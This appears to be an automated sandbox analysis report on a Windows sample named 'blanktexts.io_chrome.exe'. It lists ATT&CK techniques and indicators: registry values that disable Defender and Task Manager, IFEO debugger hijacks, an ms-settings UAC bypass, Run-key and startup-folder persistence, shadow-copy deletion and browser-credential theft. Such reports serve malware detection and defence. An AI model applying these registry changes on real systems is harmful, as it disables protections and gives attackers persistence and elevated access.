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Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	blanktexts.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	blanktexts.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	blanktexts.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	blanktexts.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
5308	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	blanktexts.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	blanktexts.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	blanktexts.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6100	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	blanktexts.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	blanktexts.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	blanktexts.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3280	wscript.exe
5964	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	blanktexts.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3112	sc.exe
3436	sc.exe
3216	sc.exe
4920	sc.exe
6136	sc.exe
3172	sc.exe
5068	sc.exe
1256	sc.exe
1280	sc.exe
5212	sc.exe
6132	sc.exe
3612	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2908	cmd.exe
1164	cmd.exe
3648	cmd.exe
1292	cmd.exe
496	cmd.exe
5468	cmd.exe
5076	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5708	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3472	NETSTAT.EXE
3696	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2988	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5420	vssadmin.exe
4684	vssadmin.exe
2976	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallpaperStyle = "2"	blanktexts.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303546430995550"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	blanktexts.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	blanktexts.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	blanktexts.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe\" \"%1\""	blanktexts.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_chrome.exe"	blanktexts.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	blanktexts.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	blanktexts.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\DelegateExecute	blanktexts.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	blanktexts.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	blanktexts.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5116	schtasks.exe
1188	schtasks.exe
2832	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4696	chrome.exe
4696	chrome.exe
6040	powershell.exe
6040	powershell.exe
6040	powershell.exe
1276	WMIC.exe
1276	WMIC.exe
1276	WMIC.exe
1276	WMIC.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
4088	WMIC.exe
4088	WMIC.exe
4088	WMIC.exe
4088	WMIC.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe
5784	blanktexts.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5784	blanktexts.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeIncreaseQuotaPrivilege	1276	WMIC.exe
Token: SeSecurityPrivilege	1276	WMIC.exe
Token: SeTakeOwnershipPrivilege	1276	WMIC.exe
Token: SeLoadDriverPrivilege	1276	WMIC.exe
Token: SeSystemProfilePrivilege	1276	WMIC.exe
Token: SeSystemtimePrivilege	1276	WMIC.exe
Token: SeProfSingleProcessPrivilege	1276	WMIC.exe
Token: SeIncBasePriorityPrivilege	1276	WMIC.exe
Token: SeCreatePagefilePrivilege	1276	WMIC.exe
Token: SeBackupPrivilege	1276	WMIC.exe
Token: SeRestorePrivilege	1276	WMIC.exe
Token: SeShutdownPrivilege	1276	WMIC.exe
Token: SeDebugPrivilege	1276	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1276	WMIC.exe
Token: SeRemoteShutdownPrivilege	1276	WMIC.exe
Token: SeUndockPrivilege	1276	WMIC.exe
Token: SeManageVolumePrivilege	1276	WMIC.exe
Token: 33	1276	WMIC.exe
Token: 34	1276	WMIC.exe
Token: 35	1276	WMIC.exe
Token: 36	1276	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1276	WMIC.exe
Token: SeSecurityPrivilege	1276	WMIC.exe
Token: SeTakeOwnershipPrivilege	1276	WMIC.exe
Token: SeLoadDriverPrivilege	1276	WMIC.exe
Token: SeSystemProfilePrivilege	1276	WMIC.exe
Token: SeSystemtimePrivilege	1276	WMIC.exe
Token: SeProfSingleProcessPrivilege	1276	WMIC.exe
Token: SeIncBasePriorityPrivilege	1276	WMIC.exe
Token: SeCreatePagefilePrivilege	1276	WMIC.exe
Token: SeBackupPrivilege	1276	WMIC.exe
Token: SeRestorePrivilege	1276	WMIC.exe
Token: SeShutdownPrivilege	1276	WMIC.exe
Token: SeDebugPrivilege	1276	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1276	WMIC.exe
Token: SeRemoteShutdownPrivilege	1276	WMIC.exe
Token: SeUndockPrivilege	1276	WMIC.exe
Token: SeManageVolumePrivilege	1276	WMIC.exe
Token: 33	1276	WMIC.exe
Token: 34	1276	WMIC.exe
Token: 35	1276	WMIC.exe
Token: 36	1276	WMIC.exe
Token: SeBackupPrivilege	5884	vssvc.exe
Token: SeRestorePrivilege	5884	vssvc.exe
Token: SeAuditPrivilege	5884	vssvc.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeShutdownPrivilege	4696	chrome.exe
Token: SeCreatePagefilePrivilege	4696	chrome.exe
Token: SeIncreaseQuotaPrivilege	6040	powershell.exe
Token: SeSecurityPrivilege	6040	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe
4696	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5784	blanktexts.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5784 wrote to memory of 4696	5784	blanktexts.io_chrome.exe	89
PID 4696 wrote to memory of 4104	4696	chrome.exe	90
PID 5784 wrote to memory of 6040	5784	blanktexts.io_chrome.exe	91
PID 5784 wrote to memory of 6132	5784	blanktexts.io_chrome.exe	93
PID 4696 wrote to memory of 5708	4696	chrome.exe	96
PID 4696 wrote to memory of 2544	4696	chrome.exe	97
PID 4696 wrote to memory of 2544	4696	chrome.exe	97
PID 4696 wrote to memory of 2408	4696	chrome.exe	98
PID 4696 wrote to memory of 2408	4696	chrome.exe	98
PID 4696 wrote to memory of 1132	4696	chrome.exe	99
PID 4696 wrote to memory of 1132	4696	chrome.exe	99
PID 4696 wrote to memory of 4660	4696	chrome.exe	100
PID 4696 wrote to memory of 4660	4696	chrome.exe	100
PID 5784 wrote to memory of 3612	5784	blanktexts.io_chrome.exe	101
PID 5784 wrote to memory of 3112	5784	blanktexts.io_chrome.exe	103
PID 5784 wrote to memory of 3436	5784	blanktexts.io_chrome.exe	105
PID 4696 wrote to memory of 3280	4696	chrome.exe	132
PID 4696 wrote to memory of 3280	4696	chrome.exe	132
PID 5784 wrote to memory of 3216	5784	blanktexts.io_chrome.exe	108
PID 5784 wrote to memory of 4920	5784	blanktexts.io_chrome.exe	110
PID 4696 wrote to memory of 1772	4696	chrome.exe	112
PID 4696 wrote to memory of 1772	4696	chrome.exe	112
PID 5784 wrote to memory of 6136	5784	blanktexts.io_chrome.exe	113
PID 5784 wrote to memory of 5068	5784	blanktexts.io_chrome.exe	195
PID 5784 wrote to memory of 1544	5784	blanktexts.io_chrome.exe	117
PID 5784 wrote to memory of 1256	5784	blanktexts.io_chrome.exe	118
PID 5784 wrote to memory of 3172	5784	blanktexts.io_chrome.exe	120
PID 1544 wrote to memory of 1460	1544	fodhelper.exe	121
